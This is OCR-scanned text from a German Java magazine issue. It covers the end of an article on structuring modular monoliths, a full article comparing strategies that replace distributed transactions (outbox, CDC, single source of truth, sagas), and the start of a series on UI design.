weichen. Dadurch kann man sich bei der Entwicklung
gezielt auf einen der Aspekte Businesslogik, Clientinter-
aktion und Serverinteraktion fokussieren und diese auch
entkoppelt voneinander testen.

Eine potenzielle Schwiche ist auch hier: Die Schnitt-
stellen, die die zentrale Businesskomponente innerhalb
des Moduls der User Side und Server Side bereitstellt,
miissen public sein und sind dadurch auch fiir andere
Module sichtbar, obwohl sie nicht unbedingt dafiir ge-
dacht sind.

UI Component (Abb. 8): Bei diesem Ansatz wird die
dem Client zugewandte Schicht (GUI oder API) zu einer
eigenen grofsen, moduliibergreifenden Komponente mit
eigenem Top-Level Package. Sie benutzt das API aller
Module, um dem Client eine einheitliche Reprisentati-
on der Anwendung bereitzustellen. Die Module beste-
hen ansonsten wie im Single-Package-Ansatz aus jeweils
einem einzelnen Package, das allen Code enthilt, der
zum Kontext des Moduls gehort, mit Ausnahme des Cli-
ent APL Jedes Modul stellt dabei ein public API bereit,
das idealerweise sowohl von der Ul Component als auch
von anderen Modulen benutzt werden kann.

Vorteile davon sind, dass die Anwendung dem Client
gegeniiber wie aus einem Guss prasentiert werden kann
und gleichzeitig die Java Access Modifier zur Kapselung
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der Module verwendet werden konnen. Jedes Modul
bestimmt vollkommen selbst, wie es verwendet wird, in-
dem es aufler dem bewusst bereitgestellten API alles als
package private deklariert.

Dass die Clientschicht nicht in dieser Kapselung ent-
halten ist, kann in manchen Szenarien als Nachteil ge-
sehen werden.

Welche der Moglichkeiten die beste ist, ist keine ex-
akte Wissenschaft. In der Entwicklercommunity gibt es
fiir jede der Varianten Befiirworter und gute Argumente
(beispielsweise [7]). Letztendlich entscheiden die Rah-
menbedingungen dariiber, welche Vorteile einem Pro-
jekt am meisten helfen und auf welche Aspekte hin man
seinen Code optimieren mochte. Ist das Ziel ein Service-
schnitt? Dann ist ein Ansatz zu wahlen, bei dem man
einfach ein Modul, so wie es ist, ausschneiden und in
ein frisches Projekt einfiigen kann, wie z. B. der Single-
Package-Ansatz.

Arbeitet ein grofles Team mit unterschiedlichen Er-
fahrungslevels an dem Projekt? Dann ist der UI-Com-
ponent-Ansatz vermutlich der beste Weg, da er die beste
Kapselung der Module durch Access Modifier erreicht,
sodass es schwerer wird, aus Versehen an der Architek-
tur und den Businessregeln vorbei zu entwickeln. Da-
durch hitte bestimmt schon der eine oder andere Big
Ball of Mud vermieden werden konnen. Mochte man
durch die Strukturierung des Codes in erster Linie Uber-
sichtlichkeit und Codeorganisation und erst in zweiter
Linie Kapselung erreichen? Dann bietet sich die Struk-
turierung nach Slices before Layers an.

Enorm wichtig ist, dass man sich fiir eine der Varian-
ten entscheidet und diese dann im gesamten Modulithen
einheitlich verwendet. Die unterschiedlichen Varianten
spielen ihre Stirken erst dann aus, wenn man sich dar-
auf verlassen kann, dass sie fiir das gesamte Projekt gel-
ten. Springt man stattdessen zwischen den Varianten,
holt man sich alle deren Nachteile in den Code, ohne
wirklich von ihren Vorteilen profitieren zu konnen. Zu-
sdtzlich stiftet man eine Menge Verwirrung fiir jeden,
der sich an den Code heranwagt.

Technische Querschnittsmodule

Ein Antipattern, das in fast jedem grofleren Projekt zu
finden ist, ist das Util-Package. Oft wird es auch ,,hel-
per, ,common“ oder ,base“ genannt, oder es exis-
tiert nicht einmal offiziell, da sein Inhalt stattdessen im
Basis-Package der Anwendung ausgebreitet ist. Darin
befindet sich dann Code, der von mehreren Teilen der
Anwendung verwendet wird und deshalb nirgendwo
anders zuzuordnen war. Und technische Utilities, die
zwar niitzlich sind, aber nichts miteinander zu tun ha-
ben. Und dann noch technische Querschnittsthemen,
die alle Module betreffen und deshalb einfach in das
»Package fur alles“ mit reingepackt wurden. Und al-
les andere, tiber das man halt gerade nicht nachdenken
wollte. Ein solches Package erfiillt nicht die Eigenschaf-
ten eines Moduls und sollte in einem Modulithen ver-
mieden werden:

Modulithen

Architektur

Abb. 8: Die Ul-Komponente
kann die gleichen Schnittstel-
len des Moduls benutzen wie
andere Module

Die Kapselung bleibt erhalten

¢ Es hat keine klare Verantwortlichkeit, sondern meh-
rere unzusammenhingende Zustidndigkeiten, was der
Name bereits widerspiegelt.

e Es hat eine niedrige Kohision, da die verschiedenen
Aspekte meist nichts miteinander zu tun haben, so-
dass es nicht sinnvoll ist, sie zusammen zu gruppieren.

¢ Es hat eine hohe Kopplung, da jeder Aspekt von
irgendeinem Modul gebraucht wird und das Util-Pa-
ckage manchmal sogar zusitzlich alle anderen Teile
der Anwendung kennen muss. Oft schliefst es damit
einen Abhingigkeitskreis iiber alle Module und wird
so zum schlimmsten Dependency Magnet.

Stattdessen sollte man technische und fachliche Quer-
schnittsthemen in einem Modulithen dhnlich behan-
deln wie fachliche Kontexte. Nehmen wir als Beispiel
das Verschicken von E-Mails. Wenn mehrere Module
E-Mails versenden miissen, um ihre Fachlichkeit zu er-
filllen, dann ist es gut, wenn es ein technisches Modul
gibt, das sich um den technischen Aspekt ,,E-Mails ver-
senden® kiitmmert und um nichts anderes. Dieses bietet
dann eine von allen Modulen verwendbare Schnittstelle
an, die unabhingig von deren Fachlichkeit funktioniert.
Allgemeine Logik wie die Komposition der Mail oder
Metainformationen der Mail ist in dem E-Mail-Modul
gekapselt und es ist das einzige Modul, das die externe
Abhingigkeit zum E-Mail-Server kennt. Dabei kennt
das E-Mail-Modul keine fachlichen Details wie den In-
halt der Mails. Diese bleiben in der Hoheit der fachli-
chen Module, die die E-Mails verschicken mochten. Im
Beispiel unseres Kinos kénnte das Reservierungsmodul
nach einer erfolgreichen Reservierung das E-Mail-Mo-
dul aufrufen, um dem Kunden eine Mail mit der Re-
servierungsnummer als Inhalt zu senden, wihrend das
Kundenmodul iiber dieselbe Schnittstelle einen News-
letter mit dem aktuellen Programm verschicken konnte.

Genauso erhalten andere Querschnittsthemen, wie
z.B. Securityaspekte, Auditlog, Scheduling oder Re-
porting ihre eigene Kapselung durch ein eigenes Mo-
dul. Als Ergebnis entsteht eine schone Landschaft aus
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Modulithen

fachlichen und technischen Modulen, die ihre Zustin-
digkeiten sicher kapseln und deren Abhingigkeiten un-
tereinander leichter beherrschbar sind. Das Util-Package
ist verschwunden oder zumindest so geschrumpft, dass
es nur noch Klassen enthilt, die die Bezeichnung ,,util“
auch verdient haben, wie z.B. ein DateUtil mit stati-
schen Methoden, die mafSgeschneiderte Datumsopera-
tionen bereitstellen.

Toolunterstiitzte Modulbildung

Bisher ging der Artikel von der einfachsten und ge-
brauchlichsten Modulbildungsmethode aus, namlich
der Abbildung von Modulen durch Top-Level Packages
im Java-Code. Alternativ (Kasten: ,,Modularisierungs-
tools im Java-Okosystem®) bieten auch Build-Tools wie
Maven [8] und Gradle Features [9] wie Multi-Module
Builds, mit denen man zumindest Code in Module auf-
teilen und zyklenfreie Abhingigkeiten zwischen den
Modulen sicherstellen kann [10]. Es gibt aber auch
Technologien wie OSGi [11] oder Jigsaw [12], das na-
tive Modulsystem der Java-Plattform, die sich als aus-
gewachsene Modularisierungslosungen verstehen und
versuchen, das Problem der Modulbildung mitsamt Ab-
hingigkeiten und Schnittstellen expliziter zu 16sen.

Durch den Einsatz eines solchen Werkzeugs gewinnt
man explizit definierte Module mit explizit definierten
offentlichen Schnittstellen. Das macht es viel einfacher,
gesetzte Regeln von Kapselung, Interaktion und Abhin-
gigkeiten der Module einzuhalten. Man muss sich nicht
mehr allein auf die Java Access Modifier und Package-
struktur verlassen und ist innerhalb der Module freier
mit deren Einsatz und der Codeorganisation durch Sub-
packages.

Der Preis dafiir ist allerdings hoch. Man fligt seinem
ohnehin schon komplexen Monolithen mit der Modu-
larisierungsschicht eine weitere Abstraktionsebene und
Komplexitiatsdimension hinzu, die jeder Entwickler im
Team kennen und beherrschen muss Jigsaw [14]. Oft tau-
chen dadurch auch neue Probleme auf, wie beispielsweise
erschwertes Zusammenspiel mit externen Abhéingigkei-
ten, Versions- und Namenskonflikte zwischen Modulen,
Inkompatibilitdten zu alten Modulen oder Sprachversi-
onen etc. Das kann zu Frustmomenten und unschonen
Workarounds fithren, die im schlimmsten Fall mehr
schaden konnen als das Modulsystem genutzt hat.

Die Entscheidung zur Verwendung eines solchen Mo-
dularisierungstools muss sehr bewusst getroffen wer-

Modularisierungstools im Java-Okosystem

= 0SGi[11]

= Java Platform Module System (Jigsaw) [12]
= JBoss Modules [13]

= Maven Multi-Module Projekte [8]

= Gradle Multi-Project Builds [9]
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den. Ich empfehle den Einsatz nur, wenn man damit ein
konkretes Problem 16sen kann, wie z.B. die Trennung
der Module als Deployment-Einheiten oder wenn das
Team auf herkommliche Weise die Modularisierung
nicht in den Griff bekommt. Proaktiv auf ein Modul-
system zu setzen wire ein Fall von YAGNI: ,You ain’t
gonna need it.“

Fazit

Wir haben festgestellt, dass Modulithen eine lohnende
Form der Softwarearchitektur sein konnen. Geschickt
geschnittene Module sorgen fiir Struktur und Ubersicht-
lichkeit in einer grofSen Codebase, womit sie beherrsch-
bar und testbar wird. Das Innenleben der Module zu
gestalten, ist eine Wissenschaft fiir sich, aber es gibt ge-
ntigend Moglichkeiten zur Auswahl.

Aber wie kommunizieren Module? Wie managt man
die Abhingigkeiten vieler Module, ohne dass sie sich zu
einem Kniuel verheddern? Die Antworten auf diese und
weitere Fragen wird der nichste Teil dieser Serie geben.

Arnold Franke wirkt als Entwickler und Berater fiir die Kunden der
synyx GmbH & Co KG in Karlsruhe. Dabei baut er als Komplexitéts-
vermeider und Software Craftsman nachhaltige, pragmatische
Lésungen mit sauberem Code.
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Verteilte Transaktionen

Ein Uberblick iiber Umsetzungsstrategien

Verteilte Transaktionen
in verteilten Systemen

Verteilte Transaktionen sind out, das haben die Softwarearchitekten im Laufe der letzten
Jahre erkannt. Neuere Persistenzsysteme bieten die Funktionalitat fur verteilte Transak-
tionen gar nicht an oder empfehlen, dieses Transaktionsverhalten, falls doch vorhanden,
nur in Ausnahmefallen zu verwenden. Doch was kann man als Softwarearchitekt empfeh-
len, wenn die fachlichen Anforderungen so gestaltet sind, dass Daten, die in mehreren
Datentopfen persistiert werden, zueinander konsistent sein mussen? Der nachfolgende
Uberblick soll die Auswahl der passenden Umsetzungsstrategie abgestimmt auf den je-

weiligen Use Case erleichtern.

von Michael Hofmann

Verteilte Transaktionen (XA Transactions) basieren auf
dem Two-Phase-Commit-(2PC-)Protokoll. Dieses Pro-
tokoll war in der Vergangenheit essenzieller Bestand-
teil eines jeden Datenbanksystems und wurde somit
das zentrale Konzept, um das Konsistenzproblem bei
verteilten Datenbanken zu l6sen. Doch wo liegen nun
die Probleme beim Einsatz dieses Protokolls? Durch
die synchronen Eigenschaften des Protokolls werden
verteilte System miteinander sehr eng gekoppelt. Der
Ausfall eines der beiden Systeme wird auch das andere
System stark beeintrachtigt. Neben dem Absturz eines
der beiden Systeme, was eher selten der Fall ist, kann es
aber auch zu Problemen in der Kommunikation unterei-
nander kommen [1]. Beide Fehlerwahrscheinlichkeiten
zusammen genommen erh6hen das gesamte Ausfallri-
siko. Nachdem man sich endlich eingestanden hat, dass
Ausfille passieren konnen, wurde begonnen, nach Al-
ternativen zu suchen. Doch dazu spéter mehr.

Das 2PC-Protokoll ist, wie der Name schon sagt,
in zwei Phasen unterteilt. Phase 1 ist die sogenannte
Prepare-Phase, die im zweiten Schritt mit der Commit-
Phase abgeschlossen wird. Jede XA Transaction muss
diese beiden Phasen durchlaufen, wodurch die Ausfiih-
rung der Transaktion sehr langsam wird. Ein Mehr an
Kommunikation erhoht wiederum die Wahrscheinlich-
keit eines Fehlers. Fir den Fall eines Absturzes muss das
Datenbanksystem eine Recovery-Funktionalitit besit-
zen, die das System wieder in einen fehlerfreien Zustand
versetzen kann. All diese Anforderungen an das 2PC-

Protokoll erhohen die Komplexitit eines Datenbanksys-
tems enorm. Bei Hochlastsystemen hat man sich daher
als Softwarearchitekt immer schon zweimal tberlegt,
ob der Use Case eine verteilte Transaktion erforderlich
macht oder ob man darauf verzichten kann.

Doch es gibt auch ganz triviale Griinde fiir die Ver-
meidung von verteilten Transaktionen: Sie sind schlicht
und ergreifend gar nicht moglich. Aktuelle Systeme
kommunizieren iiber REST APIs auf Basis von HTTP
miteinander und HTTP bietet eben keine verteilten
Transaktionen an. Oder es werden zur Speicherung Da-
tenbanksysteme verwendet, die keine verteilten Trans-
aktion unterstiitzen.

ACID vs. BASE

Mit dem Wegfall von verteilten Transaktionen und der
Persistierung in verteilen Systemen hat sich ein neues
Konsistenzmodell etabliert. Frither hat allein ACID als
gangiges Konsistenzmodell dominiert, auch die verteil-
ten Transaktionen garantier(t)en diese Eigenschaften.
ACID steht fiir Atomic, Consistent, Isolated und Du-
rable und stellte sehr strenge Bedingungen an das Da-
tenbanksystem. Mit dem erfolgreichen Festschreiben
der Transaktion (Commit) kann man sich sicher sein,
dass die Anderungen an den Daten definitiv sofort und
dauerhaft ausgefithrt wurden. Alle nachfolgenden Lese-
operationen liefern immer den aktuellen Datenzustand.

Im Zuge der NoSQL-Bewegung wurde vermehrt ein
neues Konsistenzmodell etabliert: BASE. BASE steht fur
Basic Availability, Soft-State, Eventual Consistency. Die
Implementierung von BASE ermdglicht den NoSQL-
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Neue Softwaresysteme, die mittels Service-zu-Service-Calls
arbeiten und auch verteilte Datentopfe verwenden, sollten
nicht mehr mit verteilten Transaktionen arbeiten.

Systemen, beziiglich einer sofortigen Konsistenz und
Datenaktualitit ein paar kleine Abstriche in Kauf zu
nehmen. Was aber nicht bedeuten soll, dass die Ande-
rungen an den Daten verloren gehen, sondern manchmal
erst etwas zeitversetzt ausgefithrt werden. Den Vorteil,
den man sich mit diesem Trade-off erarbeitet hat, liegt
in der sehr guten Skalierbarkeit und der besseren Resili-
enz solcher Systeme. Ein moglicher Ausfall wird also als
wahrscheinlich akzeptiert und kann somit auch besser
kompensiert werden.

Schlussendliche Konsistenz (Eventual Consistency)
Der Preis, den man bei BASE zu zahlen hat, wird als
Eventual Consistency bezeichnet. Leider ist die deutsche
(Falsch-)Ubersetzung (,,eventuelle Konsistenz*) ein we-
nig ungliicklich, da die Konsistenz nicht eventuell ist,
sondern auch bei BASE definitiv garantiert wird. Nur
eben ein wenig spiter als bei ACID. Dieser Umstand
wird mit der deutschen Entsprechung ,,schlussendliche
Konsistenz“ besser ausgedriickt.

Die Erfahrung der letzten Jahre hat immer wieder
gezeigt, dass Softwarearchitekten und Anwender sich
mit diesem Umstand erst einmal anfreunden mussen. Es
wurden immer wieder Fragen gestellt, wie beispielswei-
se: ,, Wann sind die Daten in dem anderen System gespei-
chert und wie soll der Anwender damit umgehen, dass
er unter Umstianden ,alte’ Daten angezeigt bekommt?“

In solchen Fillen war immer das Beispiel aus dem
Onlinebanking hilfreich. Jahrelang war man es als
Bankkunde gewohnt, nach einer Uberweisung den
reduzierten Kontosaldo sofort zu sehen, obwohl die
Uberweisungsliste erst sehr viel spiter die Uberweisung
angezeigt hat. Wieso sollte dieses Verhalten des Online-
banking nicht auch in anderen Systemen gingige Praxis
sein? Nach dem Abwigen der Vorteile beziiglich Resili-
enz und Skalierbarkeit (durch BASE) wird bei den meis-
ten Use Cases die schlussendliche Konsistenz durch den
Anwender dann doch akzeptiert.

Die ,neuen“ Umsetzungsstrategien

Neue Softwaresysteme, die mittels Service-zu-Service-
Calls arbeiten und auch verteilte Datentopfe verwen-
den, sollten nach den Erfahrungen der letzten Jahre
nicht mehr mit verteilten Transaktionen arbeiten. Doch
welche Moglichkeiten gibt es, zumindest die schlussend-
liche Konsistenz zu erreichen, ohne dabei Datenverluste
zu erleiden? Viele der nachfolgenden Strategien existie-
ren teilweise schon seit Jahrzehnten, sind jedoch heutzu-
tage immer noch das Mittel der Wahl.

Best Efforts 1PC

Der erste Gedanke, den man beztglich Transaktions-
steuerung hat, ist die Umsetzung mit Best Efforts 1PC.
Ein Artikel von Dr. David Syer [2] aus dem Jahr 2009
hat diesen Ansatz sehr gut beschrieben. Das Grundprin-
zip basiert darauf, zwei getrennte Transaktionen so zu
verschachteln, dass erst ganz spat am Ende der Ablauf-
logik der Commit gegen beide beteiligte Systeme ausge-
fithrt wird. Alle moglichen Fehlerfille der Businesslogik
wurden zuvor gelost oder sind erst gar nicht aufgetreten.
Der Commit der beiden Transaktionen erfolgt unmittel-
bar aufeinander, es befindet sich also keine Zeile Code
mehr dazwischen. Die Annahme, die dahintersteht,
ist die Hoffnung, dass zwischen den beiden Commits
nichts passieren wird. Was aber stattfinden kann, sind
die klassischen Probleme bei der Kommunikation mit
verteilten Systemen. Es kann also durchaus sein, dass
der erste Commit erfolgreich bestitigt wird, die Ausfiih-
rung des zweiten Commits wegen einem Netzwerkfehler
abgebrochen wird und die Daten per Rollback zuriick-
gerollt werden. Das Endergebnis ist ein inkonsistenter
Zustand der Daten. Um das zu vermeiden, konnte eine
erneute Ausfithrung des zweiten Commits versucht wer-
den, jedoch kann auch diese Fehlerkompensation den
konsistenten Gesamtzustand nicht garantieren, wenn
das zweite Datenbanksystem fiir langere Zeit nicht er-
reichbar ist.

Die mogliche Inkonsistenz, wenn auch sehr unwahr-
scheinlich, fiihrt in erster Reaktion zur Ablehnung die-
ses Ansatzes. Auf den zweiten Blick passt diese Strategie
sehr gut zu Use Cases, bei denen der Verlust der Da-
tenanderung nicht ins Gewicht fallt oder der mogliche
Datenverlust wegen der fehlenden Transaktionseigen-
schaften in den Folgesystemen akzeptiert werden muss.
IoT-Systeme schicken so viele Messdaten, dass es in der
Regel auf den Verlust von ein paar wenigen Daten nicht
ankommt. Oder das Schreiben erfolgt gegen ein System,
das gar keine Transaktionen kennt, wie beispielsweise
ein LDAP-Server.

Transactional Outbox oder Outgoing Transactions

Ist der Verlust der Daten nicht akzeptabel, so kann als
Alternative die Transactional Outbox [3] eingesetzt wer-
den. Das Prinzip hierbei ist das transaktionale Schreiben
in die fachlichen Tabellen der Anwendung und in eine
sogenannte Outgoing Table innerhalb derselben Daten-
bank. Die Outgoing Table enthilt die Nachrichten, die
an das andere System iibertragen werden miissen. Ein
weiterer Prozess selektiert diese Datensidtze und kiim-
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mert sich um die gesicherte Ubertragung an das andere
System. Dieser Schritt erfolgt wiederum innerhalb einer
Transaktion.

Damit ergeben sich ein paar wichtige Vorteile. Die
Daten in der Outgoing Table gehen nicht verloren.
Bei einem Fehler in der Ubertragung der ausgehenden
Datensitze kann sie so oft wiederholt werden, bis sie
erfolgreich durchgefithrt wurde. Das geschieht ohne
Beeintrachtigung der urspriinglichen Transaktion, da
diese bereits festgeschrieben wurde. Falls die Daten in
der Outgoing Table schon im gewlnschten Format vor-
liegen (beispielsweise im JSON-Format), muss sich der
Ubertragungsprozess nicht mehr um die Konvertierung
kiimmern. Der Ubertragungsprozess kann Bestandteil
der Anwendung sein oder auch als eigenstidndiger Pro-
zess betrieben werden. Dartiber hinaus kann der Pro-
zess so generisch implementiert werden, dass er fiir viele
Outgoing Tables in unterschiedlichen Systemen verwen-
det werden kann. Im Kubernetes-Umfeld wire ein so-
genannter Sidecar-Container mit dieser Funktionalitdt
sehr gut einsetzbar.

Damit der Transfer der Nachrichten nicht zum Erlie-
gen kommt, ist die Uberwachung des Ubertragungspro-
zesses ein kritischer Faktor. Da sich ein eigenstindiger
Prozess in der Regel leichter tiberwachen lisst als ein
Thread innerhalb der Anwendung, sollte der Ubertra-
gungsprozess auflerhalb der eigentlichen Anwendung
laufen. Hier leistet Kubernetes sehr gute Dienste, indem
der getrennt laufende Container mit Health Checks ver-
sehen werden kann.

Change Data Capture (CDC)

Da in den meisten Fillen die Persistierung der Daten
in einem relationalen Datenbanksystem erfolgt, bietet
sich mit CDC [4] eine Moglichkeit, die nach demselben
Funktionsmuster wie die Outgoing Table funktioniert.
Der einzige Unterschied liegt darin, dass die Anderun-
gen in der Datenbank aus dem Transaktionslog gelesen
werden. Somit kann fiir jede Tabelle der Datenbank
eine CDC-Uberwachung definiert werden. Erst wenn
die Anderung an den Tabellen im Transaktionslog fest-
geschrieben wurde, startet der CDC-Prozess mit seiner
Arbeit. Viele der grofSen kommerziellen Datenbankher-
steller bieten diese Funktionalitidt schon seit sehr vielen
Jahren an. Aber keine Sorge, wer sich im Open-Source-
Umfeld aufhilt, findet bei Debezium [5] die notwendige
Unterstiitzung fiir seine Datenbank.

Ein Nachteil von CDC liegt darin, dass die betroffenen
Tabellen, so wie sie in der Datenbank definiert werden,
auch durch das Transaktionslog tiberwacht werden.
Eine fachliche Anderung innerhalb der Datenbank
kann sich aber tiber mehrere Tabellen erstrecken. Das
hat zur Folge, dass solche Anderungen wieder zu einer
Gesamtheit zusammengefithrt werden miissen. Hierfiir
bietet es sich an, die Outgoing Table von oben einzuset-
zen, die dann vom CDC-Prozess iberwacht wird. Wer
will, kann zur denormalisierten Befiillung der Outgoing
Table altbekannte Datenbankobjekte wie Trigger und
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Stored Procedure einsetzen. Somit bietet die Kombinati-
on aus Outgoing Transactions und CDC ein michtiges
Werkzeug, um Daten zuverladssig zu tibertragen.

Single Source of Truth (SSOT)

Die Strategie SSOT [6] ist auch nicht neu. Das Prinzip
dahinter besagt, dass die Wahrheit der Daten an einer
einzigen Stelle liegen soll. Von dieser Stelle aus konnen
sich andere Systeme die Daten holen und sind zum Zeit-
punkt des Abrufens sicher, dass es sich um den aktuellen
Stand handelt.

Ubertragen auf unsere Problemstellung der Kompen-
sation nicht vorhandener verteilter Transaktionen er-
gibt sich also die folgende Moglichkeit: Datendanderung
in einem Service werden nicht sofort in der zugehori-
gen Datenbank selbst gespeichert, sondern stattdessen
transaktional an ein Messagingsystem ubertragen. Die
Services besitzen einen Message Consumer, der auf die-
se Nachrichten lauscht. Sobald die Nachricht von den
Consumern empfangen werden, fithren sie die Ande-
rung in der jeweiligen Datenbank aus. Die Rickiiber-
tragung der Nachricht vom Messagingsystem in die
Datenbank erfolgt wieder innerhalb einer Transaktion.
Eine ausfiihrliche Beschreibung unter Verwendung von
Kafka kann auf dem Blog von Confluent [7] nachgelesen
werden.

Der Einsatz dieser indirekten Datendnderung macht
vor allem dann Sinn, wenn auch noch andere Systeme
an den Anderungen interessiert sind. Sobald diese Nach-
richten als Events modelliert und als grundsitzliches
Kommunikationsmuster eingesetzt werden, spricht man
von Event Sourcing [8]. Ein Nachteil beim SSOT liegt in
der Tatsache begriindet, dass auch der Service, der die
Anderungen direkt vom Clientaufruf empfangen hat,
diese nicht sofort in seiner Datenbank speichert. Der
Client bekommt die Anderung als erfolgreich bestitigt,
sobald die Nachricht ins Messagingsystem tibertragen
worden ist. Verzogert sich nun die Verarbeitung durch
den eigenen Message Consumer, bekommt der Client,
falls er direkt danach die vermeintlich geinderten Daten
abfragt, immer noch die alten Werte angezeigt. Dieses
Verhalten ist einem Anwender nur sehr schwer zu erkla-
ren und im Normalfall geht der Anwender davon aus,
dass seine Anderungen nicht ordnungsgemifd ausgefiihrt
wurden. Damit verschwindet das Vertrauen in die Kor-
rektheit, wodurch auch die schlussendliche Konsistenz
in Frage gestellt wird.

Sagas

Die letzte Moglichkeit in dieser Aufzihlung sind Sa-
gas [9]. Sagas sind Abfolgen von lokalen Transaktionen,
die wiederum weitere lokale Transaktionen in anderen
Services Uiber Events oder Trigger auslosen. Sobald ein
Fehler auftritt, wird eine Serie von sogenannter Kom-
pensationstransaktionen ausgelost, die die zuvor ge-
machten Anderungen wieder riickgingig machen. Die
Weiterleitung der Events bzw. Trigger kann dabei iiber
ein Messagingsystem oder durch direkte synchrone
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Aufrufe stattfinden. Die Steuerung dieser Abfolge der
lokalen Transaktionen kann dezentral, also mittels Cho-
reografie, oder zentral iber eine sogenannte Orchestrie-
rung erfolgen.

Die Umsetzung mit einer zentralen Steuerungslogik
ahnelt sehr stark dem Vorgehen bei einer verteilten
Transaktion (2PC). Auch hier ist der zentrale Transak-
tionsmanager fiir die Abfolge der Transaktionen in den
beteiligten Transaktionspartnern zustindig. Im Fehler-
fall muss er alle Transaktionspartner tiber das Rollback
informieren, wodurch diese dann fiir das Zuriickfithren
der Anderung zustindig sind. Im Fall der Datenbanken
wird einfach das sogenannte After Image verworfen
und das Before Image wieder als aktueller Datenstand
gespeichert. Dieses Rollback kann bei Sagas nur sehr
umstandlich umgesetzt werden. Jeder Service muss die
Businesslogik fiir das Zuriickrollen der Anderungen
selbst implementieren, was einen nicht unerheblichen
Programmier- und Testaufwand darstellt.

Es gibt jedoch noch einen weiteren speziellen Nach-
teil, den man bei Sagas kaum verhindern kann: Sobald
ein Service die Anderungen der sogenannten Saga-
Transaktion lokal bei sich ausgefiihrt hat, konnen diese
Daten von anderen Services iiber einen API-Aufruf ge-
lesen werden. Werden diese Anderungen jetzt mit einer
Kompensationstransaktion im Rahmen der Saga wieder
zuriickgerollt, bekommt der API-Aufrufer davon nichts
mit. In der Datenbankwelt spricht man von Phantom
oder Dirty Reads. Der API-Aufrufer hat also Daten
gelesen, die er eigentlich nie hitte sehen sollen, da die
zugrundeliegende Transaktion spiter zuriickgenommen
wurde.

Beim dezentralen Ansatz zur Koordination, also mit
Choreografie, kommt es immer wieder zu dem Fall, dass
eine Saga-Transaktion empfangen wird und eine weite-
re Saga-Transaktion ausgelost werden muss. Es findet
also eine lokale Transaktion gegen die Datenbank und
die Erstellung einer weiteren Saga-Transaktion statt. Im
Fall einer asynchronen Weiterleitung der Saga-Transak-
tion ergibt sich somit wieder die Notwendigkeit einer
verteilten Transaktion. Der Ubergang in Richtung Event
Sourcing kann fliefend damit einhergehen.

Fazit

Man sollte je nach Use Case entscheiden, welche der
aufgefiihrten Strategien am besten passt. Je einfacher
das gewihlte Verfahren, desto einfacher ist die Umset-
zung und desto geringer ist die Wahrscheinlichkeit, Da-
ten in einem inkonsistenten Zustand zu hinterlassen. So
kann es durchaus sein, dass ein Best Efforts 1PC fiir den
speziellen Fall genau die richtige Wahl darstellt.
Outgoing Transactions in Kombination mit CDC
bieten ein relativ einfach verstindliches Verfahren, das
ohne Datenverluste grofSe Sicherheit bietet. Auch ohne
den Einsatz von CDC kann man mit verniinftigem Auf-
wand eine sichere Losung selbst implementieren, die mit
der passenden Generik mehrfach zum Einsatz kommen
kann. Dieser Mehrfacheinsatz fithrt automatisch zu ei-
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ner breiten Testbasis und auflerdem amortisiert sich der
anfingliche Implementierungsaufwand sehr schnell.

Der SSOT-Ansatz verschwimmt in den Projekten sehr
oft mit Event Sourcing. Wenn die Umsetzung von SSOT
schon nach den Prinzipien von Event Sourcing erfolgt
(Events als Nachrichtenformat), ist die Moglichkeit des
Einsatzes von Event Sourcing zumindest nicht blockiert.
Ob Event Sourcing fiir ein Projekt der richtige Ansatz
ist, sollte jedoch unter Einbeziehung weiterfiihrender
Kriterien diskutiert und aktiv entschieden oder abge-
lehnt werden.

Sagas konnen zum Teil sehr kompliziert werden und
bieten somit in der Umsetzung einiges an Fehlerpotenti-
al. Die notwendigen Kompensationstransaktionen erho-
hen ebenso den Aufwand fiir die Verwendung. Dariiber
hinaus missen diverse Entscheidungen zur Transakti-
onskoordination und zur Weiterleitung der Transak-
tionen getroffen werden. Ohne passende Frameworks
sollten Sagas nicht die erste Wahl zur Vermeidung von
verteilten Transaktionen sein. Leider ist die Auswahl
an Saga Frameworks noch sehr gering. Aktuell stehen
im Java-Bereich nur sehr wenige Saga Frameworks zur
Auswabhl (u.a. Eventuate Tram Sagas [10]) und Micro-
Profile bemiiht sich seit Langem, mit MicroProfile Long
Running Actions (LRA) [11] einen Standard zu etablie-
ren. Bleibt also abzuwarten, ob sich in diesem Gebiet in
Zukunft noch etwas bewegt.

Michael Hofmann ist freiberuflich als Berater, Coach, Referent
und Autor tétig. Seine langjahrigen Projekterfahrungen in den Be-
reichen Softwarearchitektur, Java Enterprise und DevOps hat er im
deutschen und internationalen Umfeld gesammelt.

m info@hofmann-itconsulting.de

Links & Literatur

[1] https://en.wikipedia.org/wiki/ Fallacies_of_distributed_computing

[2] https://www.javaworld.com/article/2077963/distributed-transactions-
in-spring--with-and-without-xa.html?page=2

[3] https://microservices.io/ patterns/data/transactional-outbox.html
[4] https://en.wikipedia.org/wiki/Change_data_capture

[5] https://debezium.io/blog/2019/02/19/reliable-microservices-data-
exchange-with-the-outbox-pattern/

[6] https://en.wikipedia.org/wiki/ Single_source_of_truth
[7] https://www.confluent.io/blog/ messaging-single-source-truth/
[8] https://martinfowler.com/eaaDev/EventSourcing.html
[9] https://microservices.io/ patterns/data/saga.html
[10] https://github.com/eventuate-tram/eventuate-tram-sagas

[11] https://github.com/eclipse/microprofile-Ira

javamagazin 1212020

Architektur

55



Architektur

56

User Interface

Das User Interface im Wandel - Teil 2

Gemeinsam: Designer
und Entwickler

Software muss heute gleichermaflen funktionieren und fir Begeisterung sorgen. Stundenlang
sitzen unsere Kunden vor den von uns gestalteten Interfaces. Es ist wie eine Verpflichtung,
ihnen die bestmdgliche User Experience zu bieten — auch fur eine Software, die Rechnungen

prift oder den Workflow der Steuerprifung managt.

von Dr. Veikko Krypczyk und Elena Bochkor

Im ersten Teil der Serie haben wir die geschichtliche
Entwicklung der Benutzeroberflichen, beginnend bei
Command Line Interface bis hin zu Natural-, Voice-
und Organic User Interface betrachtet. Dabei wurde
deutlich, dass der Gestaltung der Benutzerschnittstelle
einer Software besondere Aufmerksamkeit gewidmet
werden muss. Unsere Nutzer bekommen nur das User
Interface (UI) zu Gesicht. Alles andere bleibt ihnen ver-
borgen. Selbst in den langweiligsten Programmen muss
es uns gelingen, fir unsere Kunden ein so gutes Werk-
zeug zu erstellen, dass sie gerne damit arbeiten. Der
Grund ist naheliegend: In unzihligen Bereichen ist der
Computer zum Arbeitswerkzeug geworden, ohne eine
funktionierende IT konnen anfallende Aufgaben nicht
mehr erledigt werden. Daraus folgt, dass dieses Werk-
zeug eine bestmogliche Qualitidt aufweisen muss, damit
die Nutzer es gerne einsetzen und ihre Aufgaben einfach
erledigen konnen.

